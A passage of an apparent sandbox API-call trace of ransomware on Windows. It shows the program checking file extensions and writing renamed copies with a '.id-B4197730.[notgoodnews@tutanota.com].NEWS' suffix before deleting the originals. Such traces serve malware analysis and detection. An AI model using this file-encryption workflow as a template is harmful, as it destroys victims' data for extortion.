lpString2=".WMF") returned -1 [0179.559] lstrlenW (lpString=".xls") returned 4 [0179.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.559] lstrlenW (lpString=".xlsx") returned 5 [0179.560] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0179.560] lstrlenW (lpString=".ppt") returned 4 [0179.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0179.560] lstrlenW (lpString=".zip") returned 4 [0179.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.560] lstrlenW (lpString=".rar") returned 4 [0179.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.560] lstrlenW (lpString=".bz2") returned 4 [0179.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.560] lstrlenW (lpString=".7z") returned 3 [0179.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0179.560] lstrlenW (lpString=".dbf") returned 4 [0179.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0179.560] lstrlenW (lpString=".1cd") returned 4 [0179.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0179.560] lstrlenW (lpString=".jpg") returned 4 [0179.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.561] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0179.561] lstrlenW (lpString="J0106146.WMF") returned 12 [0179.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0179.586] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=23548) returned 1 [0179.586] CloseHandle (hObject=0x564) returned 1 [0179.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 0x220 [0179.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0180.052] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.052] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0180.054] GetLastError () returned 0x0 [0180.054] ReadFile (in: hFile=0x564, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x5bfc, lpOverlapped=0x0) returned 1 [0180.058] WriteFile (in: hFile=0x4f0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x5c00, lpOverlapped=0x0) returned 1 [0180.060] ReadFile (in: hFile=0x564, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.060] WriteFile (in: hFile=0x4f0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.060] SetEndOfFile (hFile=0x4f0) returned 1 [0180.060] CloseHandle (hObject=0x4f0) returned 1 [0180.060] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.060] SetEndOfFile (hFile=0x564) returned 1 [0180.064] CloseHandle (hObject=0x564) returned 1 [0180.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 1 [0180.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0180.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0180.067] lstrlenW (lpString=".doc") returned 4 [0180.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.067] lstrlenW (lpString=".docx") returned 5 [0180.067] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0180.067] lstrlenW (lpString=".pdf") returned 4 [0180.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.067] lstrlenW (lpString=".xls") returned 4 [0180.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.067] lstrlenW (lpString=".xlsx") returned 5 [0180.067] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0180.067] lstrlenW (lpString=".ppt") returned 4 [0180.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0180.067] lstrlenW (lpString=".zip") returned 4 [0180.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.067] lstrlenW (lpString=".rar") returned 4 [0180.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.067] lstrlenW (lpString=".bz2") returned 4 [0180.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.067] lstrlenW (lpString=".7z") returned 3 [0180.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0180.067] lstrlenW (lpString=".dbf") returned 4 [0180.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0180.068] lstrlenW (lpString=".1cd") returned 4 [0180.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0180.068] lstrlenW (lpString=".jpg") returned 4 [0180.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0180.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0180.194] lstrlenW (lpString=".doc") returned 4 [0180.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.194] lstrlenW (lpString=".docx") returned 5 [0180.194] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0180.194] lstrlenW (lpString=".pdf") returned 4 [0180.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.194] lstrlenW (lpString=".xls") returned 4 [0180.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.194] lstrlenW (lpString=".xlsx") returned 5 [0180.194] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0180.194] lstrlenW (lpString=".ppt") returned 4 [0180.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0180.194] lstrlenW (lpString=".zip") returned 4 [0180.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.194] lstrlenW (lpString=".rar") returned 4 [0180.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.194] lstrlenW (lpString=".bz2") returned 4 [0180.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.194] lstrlenW (lpString=".7z") returned 3 [0180.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0180.194] lstrlenW (lpString=".dbf") returned 4 [0180.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0180.195] lstrlenW (lpString=".1cd") returned 4 [0180.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0180.195] lstrlenW (lpString=".jpg") returned 4 [0180.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.195] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0180.195] lstrlenW (lpString="J0106816.WMF") returned 12 [0180.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0180.197] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3332) returned 1 [0180.198] CloseHandle (hObject=0x564) returned 1 [0180.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 0x220 [0180.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0180.203] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.203] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0180.204] GetLastError () returned 0x0 [0180.205] ReadFile (in: hFile=0x564, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xd04, lpOverlapped=0x0) returned 1 [0180.211] WriteFile (in: hFile=0x4dc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xd10, lpOverlapped=0x0) returned 1 [0180.212] ReadFile (in: hFile=0x564, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.213] WriteFile (in: hFile=0x4dc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.213] SetEndOfFile (hFile=0x4dc) returned 1 [0180.213] CloseHandle (hObject=0x4dc) returned 1 [0180.213] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.213] SetEndOfFile (hFile=0x564) returned 1 [0180.218] CloseHandle (hObject=0x564) returned 1 [0180.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 1 [0180.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0180.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0180.221] lstrlenW (lpString=".doc") returned 4 [0180.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.221] lstrlenW (lpString=".docx") returned 5 [0180.221] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0180.221] lstrlenW (lpString=".pdf") returned 4 [0180.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.221] lstrlenW (lpString=".xls") returned 4 [0180.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.221] lstrlenW (lpString=".xlsx") returned 5 [0180.221] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0180.221] lstrlenW (lpString=".ppt") returned 4 [0180.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0180.221] lstrlenW (lpString=".zip") returned 4 [0180.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.221] lstrlenW (lpString=".rar") returned 4 [0180.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.221] lstrlenW (lpString=".bz2") returned 4 [0180.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.221] lstrlenW (lpString=".7z") returned 3 [0180.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0180.222] lstrlenW (lpString=".dbf") returned 4 [0180.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0180.222] lstrlenW (lpString=".1cd") returned 4 [0180.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0180.222] lstrlenW (lpString=".jpg") returned 4 [0180.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0180.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0180.222] lstrlenW (lpString=".doc") returned 4 [0180.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.222] lstrlenW (lpString=".docx") returned 5 [0180.222] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0180.222] lstrlenW (lpString=".pdf") returned 4 [0180.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.222] lstrlenW (lpString=".xls") returned 4 [0180.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.222] lstrlenW (lpString=".xlsx") returned 5 [0180.222] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0180.222] lstrlenW (lpString=".ppt") returned 4 [0180.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0180.223] lstrlenW (lpString=".zip") returned 4 [0180.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.223] lstrlenW (lpString=".rar") returned 4 [0180.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.223] lstrlenW (lpString=".bz2") returned 4 [0180.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.223] lstrlenW (lpString=".7z") returned 3 [0180.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0180.223] lstrlenW (lpString=".dbf") returned 4 [0180.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0180.223] lstrlenW (lpString=".1cd") returned 4 [0180.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0180.223] lstrlenW (lpString=".jpg") returned 4 [0180.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.223] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0180.224] lstrlenW (lpString="J0106958.WMF") returned 12 [0180.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0180.225] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=13784) returned 1 [0180.225] CloseHandle (hObject=0x564) returned 1 [0180.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 0x220 [0180.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0180.226] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.226] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0180.228] GetLastError () returned 0x0 [0180.228] ReadFile (in: hFile=0x564, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x35d8, lpOverlapped=0x0) returned 1 [0180.240] WriteFile (in: hFile=0x4dc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x35e0, lpOverlapped=0x0) returned 1 [0180.242] ReadFile (in: hFile=0x564, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.242] WriteFile (in: hFile=0x4dc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.242] SetEndOfFile (hFile=0x4dc) returned 1 [0180.242] CloseHandle (hObject=0x4dc) returned 1 [0180.242] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.242] SetEndOfFile (hFile=0x564) returned 1 [0180.246] CloseHandle (hObject=0x564) returned 1 [0180.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 1 [0180.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0180.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0180.813] lstrlenW (lpString=".doc") returned 4 [0180.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.813] lstrlenW (lpString=".docx") returned 5 [0180.813] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0180.813] lstrlenW (lpString=".pdf") returned 4 [0180.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.813] lstrlenW (lpString=".xls") returned 4 [0180.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.814] lstrlenW (lpString=".xlsx") returned 5 [0180.814] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0180.814] lstrlenW (lpString=".ppt") returned 4 [0180.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0180.814] lstrlenW (lpString=".zip") returned 4 [0180.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.814] lstrlenW (lpString=".rar") returned 4 [0180.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.814] lstrlenW (lpString=".bz2") returned 4 [0180.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.814] lstrlenW (lpString=".7z") returned 3 [0180.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0180.814] lstrlenW (lpString=".dbf") returned 4 [0180.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0180.814] lstrlenW (lpString=".1cd") returned 4 [0180.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0180.814] lstrlenW (lpString=".jpg") returned 4 [0180.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0180.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0180.815] lstrlenW (lpString=".doc") returned 4 [0180.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.815] lstrlenW (lpString=".docx") returned 5 [0180.815] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0180.815] lstrlenW (lpString=".pdf") returned 4 [0180.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.815] lstrlenW (lpString=".xls") returned 4 [0180.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.815] lstrlenW (lpString=".xlsx") returned 5 [0180.815] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0180.815] lstrlenW (lpString=".ppt") returned 4 [0180.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.815] lstrlenW (lpString="C:\\Program Files\\Microsoft 